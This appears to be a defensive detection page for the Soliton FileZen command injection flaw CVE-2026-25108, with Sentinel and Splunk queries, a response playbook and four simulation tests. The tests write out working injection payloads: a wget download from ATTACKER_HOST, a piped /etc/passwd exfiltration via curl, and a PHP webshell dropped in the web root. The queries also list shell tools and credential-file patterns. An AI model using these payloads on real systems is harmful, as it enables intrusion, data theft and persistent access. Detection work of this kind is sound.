Detect Soliton FileZen OS Command Injection Exploitation (CVE-2026-25108) in Microsoft Sentinel
Detects exploitation of CVE-2026-25108, an OS command injection vulnerability (CWE-78) in Soliton Systems K.K FileZen file-sharing appliance. This vulnerability is listed on CISA's Known Exploited Vulnerabilities catalog and allows unauthenticated or authenticated attackers to inject arbitrary OS commands through vulnerable input fields, potentially leading to full system compromise.
MITRE ATT&CK
KQL Detection Query
let FileZenIPs = dynamic([]);
let SuspiciousCommands = dynamic(['wget','curl','bash','sh','nc','ncat','python','perl','ruby','chmod','chown','id','whoami','uname','cat /etc/passwd','base64']);
union
(
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where DeviceProduct has_any ("FileZen", "filezen")
| where RequestURL has_any ('upload','download','admin','config','login')
| where RequestURL matches regex @"[;&|`$(){}\[\]]"
| extend SuspiciousChars = extract(@"([;&|`$(){}\[\]]{1,})", 1, RequestURL)
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, SuspiciousChars, DeviceVendor, DeviceProduct, Activity
),
(
AzureActivity
| where TimeGenerated > ago(7d)
| where ResourceProviderValue == "MICROSOFT.SECURITY"
| where Properties has_any ("FileZen", "CVE-2026-25108")
| project TimeGenerated, Caller, OperationName, ResourceGroup, Properties
),
(
SecurityAlert
| where TimeGenerated > ago(7d)
| where AlertName has_any ("command injection", "FileZen", "CVE-2026-25108")
| project TimeGenerated, AlertName, AlertSeverity, Entities, ExtendedProperties
),
(
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem has_any ("/cgi-bin/", "/admin/", "/upload", "/download")
| where csUriQuery matches regex @"[;&|`$(){}\[\]]"
| where csUserAgent !in ("GoogleBot", "BingBot")
| extend InjectionAttempt = extract(@"([;&|`]{1,}[^&\s]{3,})", 1, csUriQuery)
| where isnotempty(InjectionAttempt)
| project TimeGenerated, cIP, csHost, csUriStem, csUriQuery, InjectionAttempt, scStatus
)
| extend Severity = "Critical"
| extend CVE = "CVE-2026-25108"
| extend Tactic = "Initial Access / Execution"
| order by TimeGenerated descDetects potential OS command injection attempts against Soliton FileZen appliances by monitoring for shell metacharacters in HTTP request URLs and query strings, as well as SIEM alerts referencing the CVE. Also correlates IIS/web server logs for injection patterns in CGI and admin endpoints.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate administrative scripts that pass shell-like syntax in URL parameters for non-malicious purposes
- Vulnerability scanners or penetration testing tools running authorized assessments against the appliance
- URL-encoded special characters in file names uploaded through the FileZen interface that decode to metacharacters
- Security monitoring agents that generate alerts with CVE references during routine scanning
Other platforms for CVE-2026-25108
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1FileZen-style CGI Command Injection via HTTP GET parameter
Expected signal: Web server access log records GET request to /cgi-bin/upload.cgi with semicolon character in query string. Process audit log shows web server process (httpd/nginx) spawning /bin/sh or /bin/bash as child process executing 'id' command.
- Test 2Post-Exploitation Reverse Shell Download via Injected wget
Expected signal: Web server access log shows POST to /admin/config.cgi with pipe and wget in POST body. Network telemetry shows outbound TCP connection from web server host to ATTACKER_HOST:8080. File creation event for /tmp/payload.sh. Process execution of wget and chmod as children of web server process.
- Test 3Credential and Configuration Exfiltration via Piped cat Command
Expected signal: Web server log records GET request to /download endpoint with URL-encoded pipe and cat command sequence. Network telemetry shows outbound POST connection from FileZen host to ATTACKER_HOST:9090. Process audit captures cat /etc/passwd executed as child of web server process, followed by curl data exfiltration subprocess.
- Test 4Webshell Implantation via Command Injection for Persistent Access
Expected signal: Web server access log records POST to CGI endpoint with semicolon and echo command in body. File creation event for /var/www/html/status.php with PHP content. Process tree shows web server spawning sh executing echo redirection. Subsequent access to /var/www/html/status.php with cmd parameter would indicate webshell usage.
Response Playbook
Triage
- Identify the source IP of the HTTP request and determine whether it is an internal asset, a known scanner, or an external/unrecognized host. Cross-reference against threat intelligence feeds for known malicious IPs.
- Review the full HTTP request URI and POST body (if available) for the exact payload injected. Extract and decode any URL-encoded characters to understand the intent of the command (e.g., reverse shell, file download, credential dump).
- Check whether an HTTP 200 or non-error response was returned to the attacker. A successful response code combined with injection characters in the request strongly suggests the command was executed.
- Determine whether the FileZen appliance is internet-facing or segmented behind a firewall. Assess patch status against vendor advisories and CISA KEV deadlines.
- Correlate with process execution and outbound network telemetry on the FileZen host in the same time window to determine if execution occurred and whether a callback or data exfiltration followed.
Containment
- Immediately isolate the FileZen appliance from the network at the firewall or switch level if active exploitation is confirmed, blocking all inbound and outbound traffic while preserving the host for forensic analysis.
- If isolation is not immediately possible, implement emergency ACLs or WAF rules to block requests matching OS command injection patterns (semicolons, pipes, backticks, and known exploit tool names) to FileZen endpoints.
- Revoke and rotate all credentials that may have been accessible on the FileZen host, including service accounts, API tokens, and any secrets stored in configuration files accessible to the web application process.
Evidence Collection
- Collect a full memory dump of the FileZen appliance host before rebooting or remediating to preserve runtime artifacts including active network connections, running processes, and any injected payloads loaded in memory.
- Preserve all web server access logs, error logs, and application logs from the FileZen system covering at minimum the 30 days prior to detection. Hash all collected log files to establish chain of custody.
- Extract file system artifacts including recently modified files in /tmp, /var/tmp, /dev/shm, web root directories, and any cron jobs or scheduled tasks that may have been added by the attacker as persistence mechanisms.
Escalation Criteria
- !Escalate immediately to incident response if outbound connections are observed from the FileZen host to external IPs following the injection attempt, as this indicates successful code execution with potential command-and-control establishment.
- !Escalate if evidence of lateral movement is found — such as connections from the FileZen host to internal systems, use of stolen credentials on other hosts, or discovery of additional malware or webshells — indicating the breach has spread beyond the appliance.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs (access.log, error.log) containing HTTP requests with shell metacharacters in URI or POST parameters - >
Bash history files (/root/.bash_history, /home/*/.bash_history) for commands executed after exploitation - >
Filesystem artifacts in /tmp, /var/tmp, /dev/shm including downloaded binaries, webshells, or scripts dropped by the attacker - >
Cron job modifications (/etc/cron.d/, crontab -l output) and systemd unit files added for persistence - >
Network connection logs showing outbound connections from the FileZen host to attacker-controlled infrastructure - >
Process tree artifacts showing web server child processes (httpd/nginx spawning bash/sh) captured in process audit logs or EDR telemetry
Tuning Guidance
Begin by filtering out known internal vulnerability scanners and authorized penetration testing source IPs using an allow-list exclusion. Tune the HTTP path scope to match the actual URI structure of your FileZen deployment, as path prefixes may vary by version and configuration. Adjust the shell metacharacter regex to focus on multi-character sequences (e.g., `;id`, `|bash`) rather than single characters to reduce false positives from legitimate URL-encoded content. For process-based detections, establish a baseline of normal child processes spawned by the FileZen web server process and alert only on deviations. Correlate with HTTP response codes to prioritize events where the server returned a 200-range response, as this strongly indicates the injection payload was processed.
Hunting Queries
Retrospective threat hunt over 30 days of web logs to identify repeated or low-volume OS command injection probing against FileZen endpoints that may have evaded real-time alerting thresholds, focusing on attacker reconnaissance patterns with multiple attempts from the same source IP.
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceProduct has_any ("FileZen", "filezen") or DestinationHostName has_any ("filezen")
| where RequestURL matches regex @"(?i)(wget|curl|bash|python|perl|nc\s|ncat|socat|/bin/sh|/etc/passwd|/dev/tcp)"
| summarize count() by SourceIP, RequestURL, bin(TimeGenerated, 1h)
| where count_ > 3
| order by count_ descindex=* (sourcetype=access_combined OR sourcetype=access_combined_wcookie)
| regex uri="(?i)(wget|curl|bash|python|perl|nc\s|ncat|socat|/bin/sh|/etc/passwd|/dev/tcp)"
| stats count by src_ip, uri, _time
| where count > 3
| sort - countHunt for successful (HTTP 2xx) requests to FileZen file-handling and administrative endpoints that also contain injection metacharacters — successful responses combined with injection patterns are the strongest indicator of confirmed exploitation rather than failed probe attempts.
W3CIISLog
| where TimeGenerated > ago(30d)
| where scStatus in (200, 201, 204)
| where csUriStem has_any ("/cgi-bin/", "/admin/", "/upload", "/download")
| where csUriQuery matches regex @"[;&|`$(){}\[\]]"
| project TimeGenerated, cIP, csUriStem, csUriQuery, scStatus, scBytes
| order by TimeGenerated descindex=* sourcetype=iis
| where status IN (200, 201, 204)
| where (cs_uri_stem="*/cgi-bin/*" OR cs_uri_stem="*/admin/*" OR cs_uri_stem="*/upload*" OR cs_uri_stem="*/download*")
| regex cs_uri_query="[;&|`$(){}\[\]]"
| table _time, c_ip, cs_uri_stem, cs_uri_query, status, sc_bytes
| sort - _timeAtomic Red Team Tests
Simulates an attacker exploiting a CGI endpoint vulnerable to OS command injection by injecting a semicolon-delimited command into a URL query parameter, replicating the CWE-78 pattern present in CVE-2026-25108.
Command
curl -v -G 'http://TARGET_HOST/cgi-bin/upload.cgi' --data-urlencode 'filename=test;id' --data-urlencode 'path=/tmp/uploads' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'Cleanup
No cleanup required on attacker side. On target: rm -f /tmp/uploads/test* && check web server logs for the test requestExpected Telemetry
Web server access log records GET request to /cgi-bin/upload.cgi with semicolon character in query string. Process audit log shows web server process (httpd/nginx) spawning /bin/sh or /bin/bash as child process executing 'id' command.
Expected Detection
Detection fires on shell metacharacter (semicolon) in CGI endpoint request URI matching injection regex pattern. EQL sequence rule should match network event followed by process spawn from web server parent.
Simulates attacker's second-stage payload delivery after initial OS command injection — using a wget command injected into a FileZen-style web parameter to download a malicious script to /tmp, as commonly observed in KEV-listed appliance exploits.
Command
curl -v -X POST 'http://TARGET_HOST/admin/config.cgi' -d 'setting=value|wget http://ATTACKER_HOST:8080/payload.sh -O /tmp/payload.sh && chmod +x /tmp/payload.sh' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: session=test'Cleanup
rm -f /tmp/payload.sh && kill $(lsof -ti:8080) 2>/dev/null; check /tmp for any downloaded files and remove themExpected Telemetry
Web server access log shows POST to /admin/config.cgi with pipe and wget in POST body. Network telemetry shows outbound TCP connection from web server host to ATTACKER_HOST:8080. File creation event for /tmp/payload.sh. Process execution of wget and chmod as children of web server process.
Expected Detection
SPL and KQL rules detect pipe metacharacter combined with wget keyword in HTTP request. EQL sequence correlates inbound POST with pipe injection to outbound network connection (tool transfer). CrowdStrike CQL detects wget spawned as child of httpd/nginx with /tmp target path.
Simulates attacker using OS command injection to exfiltrate sensitive configuration data from the FileZen appliance by injecting a pipe-chained cat command to read credentials or configuration files and send output to an attacker-controlled endpoint, a common objective in file-sharing appliance compromises.
Command
curl -v 'http://TARGET_HOST/download?file=report.pdf%7Ccat%20/etc/passwd%7Ccurl%20-d%20@-%20http://ATTACKER_HOST:9090/exfil' -H 'Authorization: Bearer VALID_OR_TEST_TOKEN'Cleanup
No files written to disk on target. Verify with: ls -la /tmp/ && netstat -an | grep 9090 on target host. Stop any listener on ATTACKER_HOST:9090.Expected Telemetry
Web server log records GET request to /download endpoint with URL-encoded pipe and cat command sequence. Network telemetry shows outbound POST connection from FileZen host to ATTACKER_HOST:9090. Process audit captures cat /etc/passwd executed as child of web server process, followed by curl data exfiltration subprocess.
Expected Detection
Detections fire on URL-encoded pipe (%7C) combined with /etc/passwd pattern in request URI. Chronicle YARAL rule matches on network HTTP event with recon command pattern. QRadar AQL detects /etc/passwd substring in URL across all monitored web log sources. EQL sequence correlates the inbound web request to the outbound data exfiltration network event.
Simulates an advanced attacker achieving persistence on a FileZen appliance by using OS command injection to write a PHP webshell to the web root directory, providing ongoing remote access independent of the original vulnerability. This reflects real attacker behavior observed in similar appliance CVEs.
Command
curl -v -X POST 'http://TARGET_HOST/cgi-bin/process.cgi' -d 'action=process;echo "<?php system(\$_GET[\"cmd\"]); ?>" > /var/www/html/status.php' -H 'Content-Type: application/x-www-form-urlencoded'Cleanup
rm -f /var/www/html/status.php && check web root for any other unexpected PHP files: find /var/www/ -name '*.php' -newer /var/www/html/index.htmlExpected Telemetry
Web server access log records POST to CGI endpoint with semicolon and echo command in body. File creation event for /var/www/html/status.php with PHP content. Process tree shows web server spawning sh executing echo redirection. Subsequent access to /var/www/html/status.php with cmd parameter would indicate webshell usage.
Expected Detection
Injection rules fire on semicolon combined with echo/redirect operator in POST body. File integrity monitoring alerts on new PHP file creation in web root. EQL sequence correlates injection HTTP request to file write event in web server directory. CrowdStrike CQL detects shell command writing to web root path from httpd parent process.